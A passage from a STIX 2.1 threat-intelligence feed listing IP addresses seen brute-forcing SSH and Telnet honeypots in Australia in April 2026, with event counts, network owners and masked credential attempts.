      "valid_until": "2026-05-12T17:15:08.000Z"
    },
    {
      "created": "2026-04-10T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--fb094704-8803-42a5-b2c4-bf47a215063a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.138']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T17:15:10.000Z",
      "valid_until": "2026-05-12T17:15:08.000Z"
    },
    {
      "created": "2026-04-10T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--74564442-648c-448e-9cb9-4dcad34b44ac",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.13']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T17:15:10.000Z",
      "valid_until": "2026-05-12T17:15:08.000Z"
    },
    {
      "created": "2026-04-10T18:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 196. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): r**t, u****u, 3**********4, c****e, e***e. Passwords observed (masked): 1****5, ***, 1*****7, 1*******c, 1**********y.",
      "id": "indicator--8c6de9d7-41ea-46d3-9b8b-996fb8d1daf3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T18:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.23.199.119']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T18:15:03.000Z",
      "valid_until": "2026-05-12T18:15:02.000Z"
    },
    {
      "created": "2026-04-10T18:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 221. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 132653. Organisation(s): PT Transdata Sejahtera. Usernames observed (masked): r**t, c****e, s***y, u**r, 3**********4. Passwords observed (masked): 1****6, 1******r, 1******x, 3***********4, 3**********4.",
      "id": "indicator--c8fcd909-9a19-4182-b35f-df3b86d9dc70",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T18:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.25.208.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T18:15:03.000Z",
      "valid_until": "2026-05-12T18:15:02.000Z"
    },
    {
      "created": "2026-04-10T18:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--ecd91564-7b2b-4fbe-84c4-af8ec184e26d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T18:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '125.113.36.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T18:15:03.000Z",
      "valid_until": "2026-05-12T18:15:02.000Z"
    },
    {
      "created": "2026-04-10T18:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: HK. ASN(s): 215540. Organisation(s): Global Connectivity Solutions Llp. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--e4a585b2-2180-4a8e-b69e-90ab39456529",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T18:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '141.98.234.187']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T18:15:03.000Z",
      "valid_until": "2026-05-12T18:15:02.000Z"
    },
    {
      "created": "2026-04-10T18:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 46606. Organisation(s): Unified Layer. Usernames observed (masked): r**t. Passwords observed (masked): k******h.",
      "id": "indicator--a00005c2-e1d4-4c9e-87b8-135a0247a16a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T18:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '162.240.107.28']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T18:15:03.000Z",
      "valid_until": "2026-05-12T18:15:02.000Z"
    },
    {
      "created": "2026-04-10T18:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 46606. Organisation(s): Unified Layer. Usernames observed (masked): k******h. Passwords observed (masked): k******h.",
      "id": "indicator--3ef3ff17-65f7-4218-ad60-e809aef257bb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T18:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '162.240.167.229']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T18:15:03.000Z",
      "valid_until": "2026-05-12T18:15:02.000Z"
    },
    {
      "created": "2026-04-10T18:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): @***********h.",
      "id": "indicator--028b83d6-c72c-4e33-bdb0-48a7a35e3ee7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T18:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '167.172.215.171']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T18:15:03.000Z",
      "valid_until": "2026-05-12T18:15:02.000Z"
    },
    {
      "created": "2026-04-10T18:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 93. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t. Passwords observed (masked): **, ***, 1******/, 1*****@, 1*******!.",
      "id": "indicator--2843bb92-4ba2-4c68-a190-fa78a71c4add",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T18:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '172.214.47.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T18:15:03.000Z",
      "valid_until": "2026-05-12T18:15:02.000Z"
    },
    {
      "created": "2026-04-10T18:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 204. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CO. ASN(s): 19429. Organisation(s): Colombia. Usernames observed (masked): r**t, u****u, 3**********4, ***, ***. Passwords observed (masked): 3***********4, 3**********4, 1******r, A*******9, A*********0.",
      "id": "indicator--8af0eb49-f298-4b1c-9e71-17d01c1d2f1b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T18:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '186.30.115.187']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T18:15:03.000Z",
      "valid_until": "2026-05-12T18:15:02.000Z"
    },
    {
      "created": "2026-04-10T18:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 178. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): r**t, u****u, 3**********4, r**********7, ***. Passwords observed (masked): 3***********4, 3**********4, 1****6, 1********r, 1******r.",
      "id": "indicator--1739b70c-7673-4a10-9517-4215c015c87a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T18:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '211.228.218.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T18:15:03.000Z",
      "valid_until": "2026-05-12T18:15:02.000Z"
    },
    {
      "created": "2026-04-10T18:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 469. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): r**t, a***n, u**t, u**r, c***o. Passwords observed (masked): 1****6, p******d, u**p, *****, 0*************7.",
      "id": "indicator--1a91dad7-9fb0-4557-a6f9-ec12f4c97fd2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T18:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '27.79.1.253']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T18:15:03.000Z",
      "valid_until": "2026-05-12T18:15:02.000Z"
    },
    {
      "created": "2026-04-10T18:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 548. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): r**t, a***n, s*****t, ***, m*****r. Passwords observed (masked): a***n, 1**4, 1****6, p******d, 1***5.",
      "id": "indicator--51177f2b-40e0-4c19-bf25-bce28a513893",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T18:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '27.79.2.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T18:15:03.000Z",
      "valid_until": "2026-05-12T18:15:02.000Z"
    },
    {
      "created": "2026-04-10T18:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 184. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, u****u, 3**********4, ***, f*****r. Passwords observed (masked): 1********r, 1******r, 1******r, 3***********4, 3**********4.",
      "id": "indicator--e7534442-72a1-496b-b25d-02a4b0568a6d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T18:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '46.101.74.113']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T18:15:03.000Z",
      "valid_until": "2026-05-12T18:15:02.000Z"
    },
    {
      "created": "2026-04-10T18:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BG. ASN(s): 209101. Organisation(s): IP Vendetta Inc.. Usernames observed (masked): r**t. Passwords observed (masked): 2***********h.",
      "id": "indicator--f938ab34-9313-4fc7-b971-2c36e111442a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T18:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '94.154.172.244']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T18:15:03.000Z",
      "valid_until": "2026-05-12T18:15:02.000Z"
    },
    {
      "created": "2026-04-10T19:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 9. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 151858. Organisation(s): INTERDIGI JOINT STOCK COMPANY. Usernames observed (masked): r**t. Passwords observed (masked): .***********h.",
      "id": "indicator--9d8f1fe6-78f4-4b65-8a26-636c917f1e84",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T19:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.106.104.187']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T19:15:04.000Z",
      "valid_until": "2026-05-12T19:15:02.000Z"
    },
    {
      "created": "2026-04-10T19:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): K***********$.",
      "id": "indicator--b28e42df-5488-482c-b24d-b5763cc4dff5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T19:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '104.236.212.57']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T19:15:04.000Z",
      "valid_until": "2026-05-12T19:15:02.000Z"
    },
    {
      "created": "2026-04-10T19:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): K*********3.",
      "id": "indicator--f5fc2b5d-6556-46e6-a754-9e0630185ff5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T19:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '209.38.34.156']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T19:15:04.000Z",
      "valid_until": "2026-05-12T19:15:02.000Z"
    },
    {
      "created": "2026-04-10T19:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: HK. ASN(s): 4760. Organisation(s): HKT Limited.",
      "id": "indicator--f23e46f9-fbf7-489c-8e06-1dc6f6e417fe",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T19:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '219.78.63.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T19:15:04.000Z",
      "valid_until": "2026-05-12T19:15:02.000Z"
    },
    {
      "created": "2026-04-10T20:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--8fc7ed4d-3da0-4fb5-90df-5e424ee5da77",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T20:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '1.34.138.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T20:15:04.000Z",
      "valid_until": "2026-05-12T20:15:02.000Z"
    },
    {
      "created": "2026-04-10T20:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Heralding. Target ports: 1080. Source country: US. ASN(s): 402253. Organisation(s): SKN Subnet & Telecom Ltd. Usernames observed (masked): a*****h, *. Passwords observed (masked): a*****h, u*************e.",
      "id": "indicator--b7c96fe1-a0d9-435d-8f62-918518273d24",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T20:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '209.99.184.40']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T20:15:04.000Z",
      "valid_until": "2026-05-12T20:15:02.000Z"
    },
    {
      "created": "2026-04-10T20:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 7922. Organisation(s): Comcast Cable Communications, LLC.",
      "id": "indicator--42019c2f-2da5-4aa7-90f0-de90ffb8922c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T20:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '50.253.133.58']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T20:15:04.000Z",
      "valid_until": "2026-05-12T20:15:02.000Z"
    },
    {
      "created": "2026-04-10T21:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): z****!.",
      "id": "indicator--a4556d76-548f-4c5f-9eed-92448f0a5fdc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T21:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '128.199.225.7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T21:15:04.000Z",
      "valid_until": "2026-05-12T21:15:02.000Z"
    },
    {
      "created": "2026-04-10T21:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 46606. Organisation(s): Unified Layer. Usernames observed (masked): r**t. Passwords observed (masked): K**********3.",
      "id": "indicator--ca3bc67f-c80b-4c53-8547-07126d3909b4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T21:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '162.240.163.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T21:15:04.000Z",
      "valid_until": "2026-05-12T21:15:02.000Z"
    },
    {
      "created": "2026-04-10T21:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14618. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--cb298eda-837d-4648-8bd6-40310fb7c37c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T21:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '18.97.19.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T21:15:04.000Z",
      "valid_until": "2026-05-12T21:15:02.000Z"
    },
    {
      "created": "2026-04-10T22:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: DE. ASN(s): 25369. Organisation(s): Hydra Communications Ltd.",
      "id": "indicator--a15850d6-8c8f-4225-8da9-f266761a446b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T22:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '194.88.98.85']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T22:15:04.000Z",
      "valid_until": "2026-05-12T22:15:02.000Z"
    },
    {
      "created": "2026-04-10T22:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: DE. ASN(s): 25369. Organisation(s): Hydra Communications Ltd.",
      "id": "indicator--23ba0cc6-aaa4-47a7-895b-5934d4af27e9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T22:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '194.88.98.91']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T22:15:04.000Z",
      "valid_until": "2026-05-12T22:15:02.000Z"
    },
    {
      "created": "2026-04-10T22:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: GR. ASN(s): 6799. Organisation(s): OTEnet S.A..",
      "id": "indicator--56233825-378e-46ef-bfbb-82ce7876acb9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T22:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '79.130.251.52']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T22:15:04.000Z",
      "valid_until": "2026-05-12T22:15:02.000Z"
    },
    {
      "created": "2026-04-10T23:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 338. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 134319. Organisation(s): Elyzium Technologies Pvt. Ltd.. Usernames observed (masked): r**t, 3**********4, ***, ***, u**r. Passwords observed (masked): 3***********4, 3**********4, 1***5, 1****6, 1****8.",
      "id": "indicator--73f7f218-26b0-4762-a303-184f517ed3b0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T23:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.106.194.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T23:15:03.000Z",
      "valid_until": "2026-05-12T23:15:01.000Z"
    },
    {
      "created": "2026-04-10T23:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 34. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--863add2a-56fb-462b-854f-8e08029679d7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T23:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '115.55.193.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T23:15:03.000Z",
      "valid_until": "2026-05-12T23:15:01.000Z"
    },
    {
      "created": "2026-04-10T23:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 356. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, 3**********4, ***, ***, u**r. Passwords observed (masked): 3***********4, 3**********4, 1***5, 1****6, 1****8.",
      "id": "indicator--0325ee31-574a-4ff7-8f22-295c505042eb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T23:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '152.32.174.67']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T23:15:03.000Z",
      "valid_until": "2026-05-12T23:15:01.000Z"
    },
    {
      "created": "2026-04-10T23:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 46606. Organisation(s): Unified Layer. Usernames observed (masked): k******h. Passwords observed (masked): K**********3.",
      "id": "indicator--dbde914e-5852-40f1-98f6-cc26b53fe1f2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T23:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '162.240.57.187']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T23:15:03.000Z",
      "valid_until": "2026-05-12T23:15:01.000Z"
    },
    {
      "created": "2026-04-10T23:15:03.000Z",
      "description": "Attacker IP - SSH & Telnet / Observed authentication attempts via ssh, telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 22, 23. Source country: AU. ASN(s): 63949. Organisation(s): Akamai Connected Cloud.",
      "id": "indicator--b4a6ba9b-f1aa-47dd-9f9f-7bd4aaa84437",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T23:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '172.105.177.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T23:15:03.000Z",
      "valid_until": "2026-05-12T23:15:01.000Z"
    },
    {
      "created": "2026-04-10T23:15:03.000Z",
